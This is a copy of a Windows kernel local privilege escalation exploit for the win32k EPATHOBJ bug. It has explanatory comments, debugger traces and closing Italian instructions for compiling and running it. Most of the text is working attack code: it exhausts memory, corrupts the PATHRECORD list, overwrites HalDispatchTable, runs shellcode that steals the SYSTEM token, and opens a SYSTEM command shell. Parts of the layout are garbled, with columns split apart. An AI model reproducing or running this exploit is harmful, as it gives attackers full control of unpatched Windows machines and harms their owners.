// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
// .text:BF9160D7
xor
esi, esi
// .text:BF9160DE
push
esi
// .text:BF9160DF
push
esi
// .text:BF9160E0
push
[ebp+tag]
// .text:BF9160E3
push
[ebp+size]
// .text:BF9160E6
call
_HeavyAllocPool () 16 ;
HeavyAllocPool(x,x,x,x)
// .text:BF9160EB
mov
esi, eax
// .text:BF9160ED
test
esi, esi
// .text:BF9160EF
jz
short loc_BF9160FF
// .text:BF9160F1
push
[ebp+size]
; size_t
// .text:BF9160F4
push
0
; int
// .text:BF9160F6
push
esi
; void *
// .text:BF9160F7
call
_memset
//
// However, the PATHALLOC allocator includes it's own freelist implementation,
and
// if that codepath can satisfy a request the memory isn't zeroed and returned
// directly to the caller. This effectively means that we can add our own
objects
// to the PATHRECORD chain.
//
// We can force this behaviour under memory pressure relatively easily, I just
// spam HRGN objects until they start failing. This isn't super reliable, but
it's
// good enough for testing.
//
//
// I don't use the simpler CreateRectRgn() because it leaks a GDI
handle on
//
// failure. Seriously, do some damn QA Microsoft, wtf.
//
for (Size = 1 << 26; Size; Size >>= 1) {
//
while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
//
;
//
}
//
// Adding user controlled blocks to the freelist is a little trickier, but I've
// found that flattening large lists of bezier curves added with PolyDraw() can
// accomplish this reliably. The code to do this is something along the lines
of:
//
//
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
//
Points[PointNum].x
= 0x41414141 >> 4;
//
Points[PointNum].y
= 0x41414141 >> 4;
//
PointTypes[PointNum]
= PT_BEZIERTO;
//
}
//
//
for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
//
BeginPath(Device);
//
PolyDraw(Device, Points, PointTypes, PointNum);
//
EndPath(Device);
//
FlattenPath(Device);
//
FlattenPath(Device);
//
EndPath(Device);
//
}
//
//
We can verify this is working by putting a breakpoint after newpathrec, and
//
verifying the buffer is filled with recognisable values when it returns:
//
//
kd> u win32k!EPATHOBJ::pprFlattenRec+1E
//
win32k!EPATHOBJ::pprFlattenRec+0x1e:
//
95c922b8 e8acfbffff
call
win32k!EPATHOBJ::newpathrec (95c91e69)
//
95c922bd 83f801
cmp
eax,1
//
95c922c0 7407
je
win32k!EPATHOBJ::pprFlattenRec+0x2f
(95c922c9)
//
95c922c2 33c0
xor
eax,eax
//
95c922c4 e944020000
jmp
win32k!EPATHOBJ::pprFlattenRec+0x273
(95c9250d)
//
95c922c9 56
push
esi
//
95c922ca 8b7508
mov
esi,dword ptr [ebp+8]
//
95c922cd 8b4604
mov
eax,dword ptr [esi+4]
//
kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
//
kd> g
//
fe938fac 41414140
//
fe938fac 41414140
//
fe938fac 41414140
//
fe938fac 41414140
//
fe938fac 41414140
//
//
The breakpoint dumps the first dword of the returned buffer, which matches
the
//
bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
//
EPATHOBJ->records->head->next->next into userspace is no problem, and we
can
//
easily break the list traversal in bFlattten():
//
//
BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
//
{
//
EPATHOBJ *pathobj; // esi () 1
//
PATHOBJ *ppath; // eax () 1
//
BOOL result; // eax () 2
//
PATHRECORD *ppr; // eax () 3
//
//
pathobj = this;
//
ppath = this->ppath;
//
if ( ppath )
//
{
//
for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
//
{
//
if ( ppr->flags & PD_BEZIER )
//
{
//
ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
//
if ( !ppr )
//
goto LABEL_2;
//
}
//
}
//
pathobj->fl &= 0xFFFFFFFE;
//
result = 1;
//
}
//
else
//
{
//
LABEL_2:
//
result = 0;
//
}
//
return result;
//
}
//
//
All we have to do is allocate our own PATHRECORD structure, and then spam
//
PolyDraw() with POINTFIX structures containing co-ordinates that are
actually
//
pointers shifted right by 4 (for this reason the structure must be aligned
so
//
the bits shifted out are all zero).
//
//
We can see this in action by putting a breakpoint in bFlatten when ppr has
//
moved into userspace:
//
//
kd> u win32k!EPATHOBJ::bFlatten
//
win32k!EPATHOBJ::bFlatten:
//
95c92517 8bff
mov
edi,edi
//
95c92519 56
push
esi
//
95c9251a 8bf1
mov
esi,ecx
//
95c9251c 8b4608
mov
eax,dword ptr [esi+8]
//
95c9251f 85c0
test
eax,eax
//
95c92521 7504
jne
win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
//
95c92523 33c0
xor
eax,eax
//
95c92525 5e
pop
esi
//
kd> u
//
win32k!EPATHOBJ::bFlatten+0xf:
//
95c92526 c3
ret
//
95c92527 8b4014
mov
eax,dword ptr [eax+14h]
//
95c9252a eb14
jmp
win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
//
95c9252c f6400810
test
byte ptr [eax+8],10h
//
95c92530 740c
je
win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
//
95c92532 50
push
eax
//
95c92533 8bce
mov
ecx,esi
//
95c92535 e860fdffff
call
win32k!EPATHOBJ::pprFlattenRec (95c9229a)
//
//
So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
//
flags (defined in winddi.h). Let's break if it's in userspace:
//
//
kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
//
kd> g
//
95c9252c f6400810
test
byte ptr [eax+8],10h
//
kd> r
//
eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec
edi=0701062d
//
eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0
nv up ei pl nz na po
nc
//
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000
efl=00010202
//
win32k!EPATHOBJ::bFlatten+0x15:
//
95c9252c f6400810
test
byte ptr [eax+8],10h
ds:0023:41414148=??
//
//
The question is how to turn that into code execution? It's obviously
trivial to
//
call prFlattenRec with our userspace PATHRECORD..we can do that by setting
//
PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation
failure
//
poses a problem.
//
//
Let me demonstrate calling it with my own PATHRECORD:
//
//
// Create our PATHRECORD in userspace we will get added to the EPATHOBJ
//
// pathrecord chain.
//
PathRecord = VirtualAlloc(NULL,
//
sizeof(PATHRECORD),
//
MEM_COMMIT | MEM_RESERVE,
//
PAGE_EXECUTE_READWRITE);
//
//
// Initialise with recognisable debugging values.
//
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
//
//
PathRecord->next
= (PVOID)(0x41414141);
//
PathRecord->prev
= (PVOID)(0x42424242);
//
//
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
//
// EPATHOBJ::bFlatten(), do that here.
//
PathRecord->flags
= PD_BEZIERS;
//
//
// Generate a large number of Bezier Curves made up of pointers to our
//
// PATHRECORD object.
//
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
//
Points[PointNum].x
= (ULONG)(PathRecord) >> 4;
//
Points[PointNum].y
= (ULONG)(PathRecord) >> 4;
//
PointTypes[PointNum]
= PT_BEZIERTO;
//
}
//
//
kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!
MmUserProbeAddress)) ''; 'gc'"
//
kd> g
//
win32k!EPATHOBJ::pprFlattenRec+0x28:
//
95c922c2 33c0
xor
eax,eax
//
kd> dd ebp+8 L1
//
a3633be0 00130000
//
//
The ppr object is in userspace! If we peek at it:
//
//
kd> dd poi(ebp+8)
//
00130000 41414141 42424242 00000010 cccccccc
//
00130010 00000000 00000000 00000000 00000000
//
00130020 00000000 00000000 00000000 00000000
//
00130030 00000000 00000000 00000000 00000000
//
00130040 00000000 00000000 00000000 00000000
//
00130050 00000000 00000000 00000000 00000000
//
00130060 00000000 00000000 00000000 00000000
//
00130070 00000000 00000000 00000000 00000000
//
//
There's the next and prev pointer.
//
//
kd> kvn
//
# ChildEBP RetAddr Args to Child
//
00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!
EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
//
01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!
EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
//
02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!
NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
//
03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163
(FPO: [0,3] TrapFrame @ a3633c34)
//
//
The question is how to get PATHALLOC() to succeed under memory pressure so
we
//
can make this exploitable? I'm quite proud of this list cycle trick,
//
here's how to turn it into an arbitrary write.
//
//
First, we create a watchdog thread that will patch the list atomically
//
when we're ready. This is needed because we can't exploit the bug while
//
HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
//
//
.text:BFA122B8
call newpathrec
;
EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
//
.text:BFA122BD
cmp
eax, 1
; Check for
failure
//
.text:BFA122C0
jz
short continue
//
.text:BFA122C2
xor
eax, eax
; Exit early
//
.text:BFA122C4
jmp
early_exit
//
//
So we create a list node like this:
//
//
PathRecord->Next
= PathRecord;
//
PathRecord->Flags
= 0;
//
//
Then EPATHOBJ::bFlatten() spins forever doing nothing:
//
//
BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
//
{
//
/* ... */
//
//
for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
//
{
//
if ( ppr->flags & PD_BEZIER )
//
{
//
ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
//
}
//
}
//
//
/* ... */
//
}
//
//
While it's spinning, we clean up in another thread, then patch the thread
(we
//
can do this, because it's now in userspace) to trigger the exploit. The
first
//
block of pprFlattenRec does something like this:
//
//
if ( pprNew->pprPrev )
//
pprNew->pprPrev->pprnext = pprNew;
//
//
Let's make that write to 0xCCCCCCCC.
//
//
DWORD WINAPI WatchdogThread(LPVOID Parameter)
//
{
//
//
// This routine waits for a mutex object to timeout, then patches the
//
// compromised linked list to point to an exploit. We need to do this.
//
LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
//
GetCurrentThreadId(),
//
Mutex);
//
//
if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
//
// It looks like the main thread is stuck in a call to
FlattenPath(),
//
// because the kernel is spinning in EPATHOBJ::bFlatten(). We can
clean
//
// up, and then patch the list to trigger our exploit.
//
while (NumRegion--)
//
DeleteObject(Regions[NumRegion]);
//
//
LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord>next, &ExploitRecord);
//
//
InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
//
//
} else {
//
LogMessage(L_ERROR, "Mutex object did not timeout, list not
patched");
//
}
//
//
return 0;
//
}
//
//
PathRecord->next
= PathRecord;
//
PathRecord->prev
= (PVOID)(0x42424242);
//
PathRecord->flags
= 0;
//
//
ExploitRecord.next = NULL;
//
ExploitRecord.prev = 0xCCCCCCCC;
//
ExploitRecord.flags = PD_BEZIERS;
//
//
Here's the output on Windows 8:
//
//
kd> g
//
*******************************************************************************
//
*
*
//
*
Bugcheck Analysis
*
//
*
*
//
*******************************************************************************
//
//
Use !analyze -v to get detailed debugging information.
//
//
BugCheck 50, {cccccccc, 1, 8f18972e, 2}
//
*** WARNING: Unable to verify checksum for ComplexPath.exe
//
*** ERROR: Module load completed but symbols could not be loaded for
ComplexPath.exe
//
Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
//
//
Followup: MachineOwner
//
--------//
//
nt!RtlpBreakWithStatusInstruction:
//
810f46f4 cc
int
3
//
kd> kv
//
ChildEBP RetAddr Args to Child
//
a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!
RtlpBreakWithStatusInstruction (FPO: [1,0,0])
//
a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c
(FPO: [Non-Fpo])
//
a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO:
[6,239,4])
//
a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
//
a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
//
a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ??
::FNODOBFM::`string'+0x31868
//
a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO:
[4,37,4])
//
a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0]
TrapFrame @ a03aba2c)
//
a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!
EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
//
a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f
(FPO: [0,1,0])
//
a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61
(FPO: [1,15,4])
//
a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO:
[0,3] TrapFrame @ a03abc14)
//
0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet
(FPO: [0,0,0])
//
0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa
(FPO: [1,0,0])
//
WARNING: Stack unwind information not available. Following frames may be
wrong.
//
0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
//
0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
//
0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!
BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
//
0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!
__RtlUserThreadStart+0x4a (FPO: [SEH])
//
0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c
(FPO: [Non-Fpo])
//
kd> .trap a03aba2c
//
ErrCode = 00000002
//
eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0
edi=a03abbd8
//
eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0
nv up ei ng nz na pe
nc
//
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000
efl=00010286
//
win32k!EPATHOBJ::pprFlattenRec+0x82:
//
8f18972e 8918
mov
dword ptr [eax],ebx
ds:0023:cccccccc=????????
//
kd> vertarget
//
Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
//
Product: WinNt, suite: TerminalServer SingleUserTS
//
Built by: 9200.16581.x86fre.win8_gdr.130410-1505
//
Machine Name:
//
Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
//
Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
//
System Uptime: 0 days 0:02:30.432
//
kd> .bugcheck
//
Bugcheck code 00000050
//
Arguments cccccccc 00000001 8f18972e 00000002
//
// EXPLOITATION
//
// We're somewhat limited with what we can do, as we don't control what's
// written, it's always a pointer to a PATHRECORD object. We can clobber a
// function pointer, but the problem is making it point somewhere useful.
//
// The solution is to make the Next pointer a valid sequence of instructions,
// which jumps to our second stage payload. We have to do that in just 4 bytes
// (unless you can find a better call site, let me know if you spot one).
//
// Thanks to progmboy for coming up with the solution: you reach back up the
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
stack and pull a SystemCall parameter out of the stack. It turns out
NtQueryIntervalProfile matches this requirement perfectly.
INSTRUCTIONS
C:\> cl ComplexPath.c
C:\> ComplexPath
You might need to run it several times before we get the allocation we need,
it won't crash if it doesn't work, so you can keep trying. I'm not sure how
to improve that.
CREDIT
Tavis Ormandy <taviso () cmpxchg8b com>
progmboy <programmeboy () gmail com>
POINT
BYTE
HRGN
ULONG
HANDLE
DWORD
Points[MAX_POLYPOINTS];
PointTypes[MAX_POLYPOINTS];
Regions[MAX_REGIONS];
NumRegion = 0;
Mutex;
Finished = 0;
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH
0x00000001
#define PD_ENDSUBPATH
0x00000002
#define PD_RESETSTYLE
0x00000004
#define PD_CLOSEFIGURE
0x00000008
#define PD_BEZIERS
0x00000010
typedef struct _POINTFIX
{
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;
// Approximated from reverse engineering.
typedef struct _PATHRECORD {
struct _PATHRECORD *next;
struct _PATHRECORD *prev;
ULONG
flags;
ULONG
count;
POINTFIX
points[4];
} PATHRECORD, *PPATHRECORD;
PPATHRECORD PathRecord;
PATHRECORD ExploitRecord;
PPATHRECORD ExploitRecordExit;
enum { SystemModuleInformation = 11 };
enum { ProfileTotalIssues = 2 };
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
FARPROC NtQuerySystemInformation;
FARPROC NtQueryIntervalProfile;
FARPROC PsReferencePrimaryToken;
FARPROC PsLookupProcessByProcessId;
PULONG HalDispatchTable;
ULONG
HalQuerySystemInformation;
PULONG TargetPid;
PVOID *PsInitialSystemProcess;
// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
DWORD CurrentValue,
DWORD NewValue,
DWORD MaxSize)
{
DWORD i, Mask;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting.
Mask = ~7;
// Mask out the reference count.
CurrentValue &= Mask;
// Scan the structure for any occurrence of CurrentValue.
for (i = 0; i < MaxSize; i++) {
if ((Structure[i] & Mask) == CurrentValue) {
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
{
PVOID TargetProcess;
// Record that the exploit completed.
Finished = 1;
// Fix the corrupted HalDispatchTable,
HalDispatchTable[1] = HalQuerySystemInformation;
// Find the EPROCESS structure for the process I want to escalate
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS)
{
PACCESS_TOKEN SystemToken;
PACCESS_TOKEN TargetToken;
// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN)
PsReferencePrimaryToken(*PsInitialSystemProcess);
// Find the token in the target process, and replace with the system
token.
}
FindAndReplaceMember((PDWORD) TargetProcess,
(DWORD) TargetToken,
(DWORD) SystemToken,
0x200);
return 0;
}
DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
// Here we wait for the main thread to get stuck inside FlattenPath().
WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
// It looks like we've taken control of the list, and the main thread
// is spinning in EPATHOBJ::bFlatten. We can't continue because
// EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
// So first, we clean up and make sure it can allocate memory.
while (NumRegion) DeleteObject(Regions[--NumRegion]);
// Now we switch out the Next pointer for our exploit record. As soon
// as this completes, the main thread will stop spinning and continue
// into EPATHOBJ::pprFlattenRec.
InterlockedExchangePointer(&PathRecord->next,
&ExploitRecord);
return 0;
}
// I use this routine to generate a table of acceptable stub addresses. The
// 0x40 offset is the location of the PULONG parameter to
// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
// trick.
VOID __declspec(naked) HalDispatchRedirect(VOID)
{
__asm inc eax
__asm jmp dword ptr [ebp+0x40]; // 0
__asm inc ecx
__asm jmp dword ptr [ebp+0x40]; // 1
__asm inc edx
__asm jmp dword ptr [ebp+0x40]; // 2
__asm inc ebx
__asm jmp dword ptr [ebp+0x40]; // 3
__asm inc esi
__asm jmp dword ptr [ebp+0x40]; // 4
__asm inc edi
__asm jmp dword ptr [ebp+0x40]; // 5
__asm dec eax
__asm jmp dword ptr [ebp+0x40]; // 6
__asm dec ecx
__asm jmp dword ptr [ebp+0x40]; // 7
__asm dec edx
__asm jmp dword ptr [ebp+0x40]; // 8
__asm dec ebx
__asm jmp dword ptr [ebp+0x40]; // 9
__asm dec esi
__asm jmp dword ptr [ebp+0x40]; // 10
__asm dec edi
__asm jmp dword ptr [ebp+0x40]; // 11
}
// Mark end of table.
__asm {
_emit 0
_emit 0
_emit 0
_emit 0
}
int main(int argc, char **argv)
{
HANDLE
Thread;
HDC
Device;
ULONG
Size;
ULONG
HMODULE
PULONG
PULONG
ULONG
RTL_PROCESS_MODULES
PointNum;
KernelHandle;
DispatchRedirect;
Interval;
SavedInterval;
ModuleInfo;
LogMessage(L_INFO, "\r--------------------------------------------------\n"
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local
ring0 exploit\n"
"\r------------------- taviso () cmpxchg8b com,
programmeboy () gmail com ---\n"
"\n");
NtQueryIntervalProfile
"NtQueryIntervalProfile");
NtQuerySystemInformation
"NtQuerySystemInformation");
Mutex
DispatchRedirect
Interval
SavedInterval
TargetPid
= GetProcAddress(GetModuleHandle("ntdll"),
= GetProcAddress(GetModuleHandle("ntdll"),
=
=
=
=
=
CreateMutex(NULL, FALSE, NULL);
(PVOID) HalDispatchRedirect;
(PULONG) ShellCode;
Interval[0];
GetCurrentProcessId();
LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
LogMessage(L_INFO, "NtQuerySystemInformation () %p",
NtQuerySystemInformation);
// Lookup the address of system modules.
NtQuerySystemInformation(SystemModuleInformation,
&ModuleInfo,
sizeof ModuleInfo,
NULL);
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
ModuleInfo.Modules[0].FullPathName,
ModuleInfo.Modules[0].ImageBase);
// Lookup some system routines we require.
KernelHandle
= LoadLibrary(ModuleInfo.Modules[0].FullPathName
+ ModuleInfo.Modules[0].OffsetToFileName);
HalDispatchTable
= (ULONG) GetProcAddress(KernelHandle,
"HalDispatchTable")
- (ULONG) KernelHandle + (ULONG)
ModuleInfo.Modules[0].ImageBase;
PsInitialSystemProcess
= (ULONG) GetProcAddress(KernelHandle,
"PsInitialSystemProcess")
- (ULONG) KernelHandle + (ULONG)
ModuleInfo.Modules[0].ImageBase;
PsReferencePrimaryToken
= (ULONG) GetProcAddress(KernelHandle,
"PsReferencePrimaryToken")
- (ULONG) KernelHandle + (ULONG)
ModuleInfo.Modules[0].ImageBase;
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle,
"PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG)
ModuleInfo.Modules[0].ImageBase;
// Search for a ret instruction to install in the damaged HalDispatchTable.
HalQuerySystemInformation
= (ULONG) memchr(KernelHandle, 0xC3,
ModuleInfo.Modules[0].ImageSize)
- (ULONG) KernelHandle
+ (ULONG) ModuleInfo.Modules[0].ImageBase;
LogMessage(L_INFO, "Discovered a ret instruction at %p",
HalQuerySystemInformation);
// Create our PATHRECORD in user space we will get added to the EPATHOBJ
// pathrecord chain.
PathRecord = VirtualAlloc(NULL,
sizeof *PathRecord,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
// loop in EPATHOBJ::bFlatten().
PathRecord->flags
= 0;
PathRecord->next
= PathRecord;
PathRecord->prev
= (PPATHRECORD)(0x42424242);
LogMessage(L_INFO, "
LogMessage(L_INFO, "
LogMessage(L_INFO, "
->next @ %p", PathRecord->next);
->prev @ %p", PathRecord->prev);
->flags @ %u", PathRecord->flags);
// Now we need to create a PATHRECORD at an address that is also a valid
// x86 instruction, because the pointer will be interpreted as a function.
// I've created a list of candidates in DispatchRedirect.
LogMessage(L_INFO, "Searching for an available stub address...");
// I need to map at least two pages to guarantee the whole structure is
// available.
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
PAGE_SIZE * 2,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)) {
LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
*DispatchRedirect & ~(PAGE_SIZE - 1),
GetLastError());
}
// This page is not available, try the next candidate.
if (!*++DispatchRedirect) {
LogMessage(L_ERROR, "No redirect candidates left, sorry!");
return 1;
}
LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);
// This PATHRECORD must terminate the list and recover.
ExploitRecordExit
= (PPATHRECORD) *DispatchRedirect;
ExploitRecordExit->next
= NULL;
ExploitRecordExit->prev
= NULL;
ExploitRecordExit->flags
= PD_BEGINSUBPATH;
ExploitRecordExit->count
= 0;
LogMessage(L_INFO, "
LogMessage(L_INFO, "
LogMessage(L_INFO, "
->next @ %p", ExploitRecordExit->next);
->prev @ %p", ExploitRecordExit->prev);
->flags @ %u", ExploitRecordExit->flags);
// This is the second stage PATHRECORD, which causes a fresh PATHRECORD
// allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
// be copied over to the new record. Therefore, we get
//
// nt!HalDispatchTable[1] = &ExploitRecordExit.
//
// So we make &ExploitRecordExit a valid sequence of instuctions here.
LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);
ExploitRecord.next
ExploitRecord.prev
ExploitRecord.flags
ExploitRecord.count
LogMessage(L_INFO, "
LogMessage(L_INFO, "
LogMessage(L_INFO, "
=
=
=
=
(PPATHRECORD) *DispatchRedirect;
(PPATHRECORD) &HalDispatchTable[1];
PD_BEZIERS | PD_BEGINSUBPATH;
4;
->next @ %p", ExploitRecord.next);
->prev @ %p", ExploitRecord.prev);
->flags @ %u", ExploitRecord.flags);
LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)
(PathRecord) >> 4);
// Generate a large number of
// PATHRECORD object.
for (PointNum = 0; PointNum <
Points[PointNum].x
=
Points[PointNum].y
=
PointTypes[PointNum]
=
}
Belier Curves made up of pointers to our
MAX_POLYPOINTS; PointNum++) {
(ULONG)(PathRecord) >> 4;
(ULONG)(PathRecord) >> 4;
PT_BEZIERTO;
// Switch to a dedicated desktop so we don't spam the visible desktop with
// our Lines (Not required, just stops the screen from redrawing slowly).
SetThreadDesktop(CreateDesktop("DontPanic",
NULL,
NULL,
0,
GENERIC_ALL,
NULL));
// Get a handle to this Desktop.
Device = GetDC(NULL);
// Take ownership of Mutex
WaitForSingleObject(Mutex, INFINITE);
// Spawn a thread to cleanup
Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");
// We need to cause a specific AllocObject() to fail to trigger the
// exploitable condition. To do this, I create a large number of rounded
// rectangular regions until they start failing. I don't think it matters
// what you use to exhaust paged memory, there is probably a better way.
//
// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// failure. Seriously, do some damn QA Microsoft, wtf.
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
NumRegion++;
}
LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
LogMessage(L_INFO, "Flattening curves...");
for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
// Test if exploitation succeeded.
NtQueryIntervalProfile(ProfileTotalIssues, Interval);
// Repair any damage.
*Interval = SavedInterval;
}
EndPath(Device);
if (Finished) {
LogMessage(L_INFO, "Success, launching shell...", Finished);
ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);
LogMessage(L_INFO, "Press any key to exit...");
getchar();
ExitProcess(0);
}
// If we reach here, we didn't trigger the condition. Let the other thread
know.
ReleaseMutex(Mutex);
WaitForSingleObject(Thread, INFINITE);
ReleaseDC(NULL, Device);
// Try again...
LogMessage(L_ERROR, "No luck, run exploit again (it can take several
attempts)");
LogMessage(L_INFO, "Press any key to exit...");
getchar();
ExitProcess(1);
}
// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
CHAR Buffer[1024] = {0};
va_list Args;
va_start(Args, Format);
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
va_end(Args);
switch (Level) {
case L_DEBUG:
case L_INFO:
case L_WARN:
case L_ERROR:
}
fprintf(stdout,
fprintf(stdout,
fprintf(stderr,
fprintf(stderr,
"[?]
"[+]
"[*]
"[!]
%s\n",
%s\n",
%s\n",
%s\n",
Buffer);
Buffer);
Buffer);
Buffer);
break;
break;
break;
break;
fflush(stdout);
fflush(stderr);
}
return TRUE;
ora fate copia e poi dirigetevi in :
C:/Program Files (x86)/Microsoft Visual Studio 10.0/vc/bin
e qui incollate l’exploit
poi aprite il cmd e scrivete
cd C:/Program Files (x86)/Microsoft Visual Studio
10.0/vc/bin
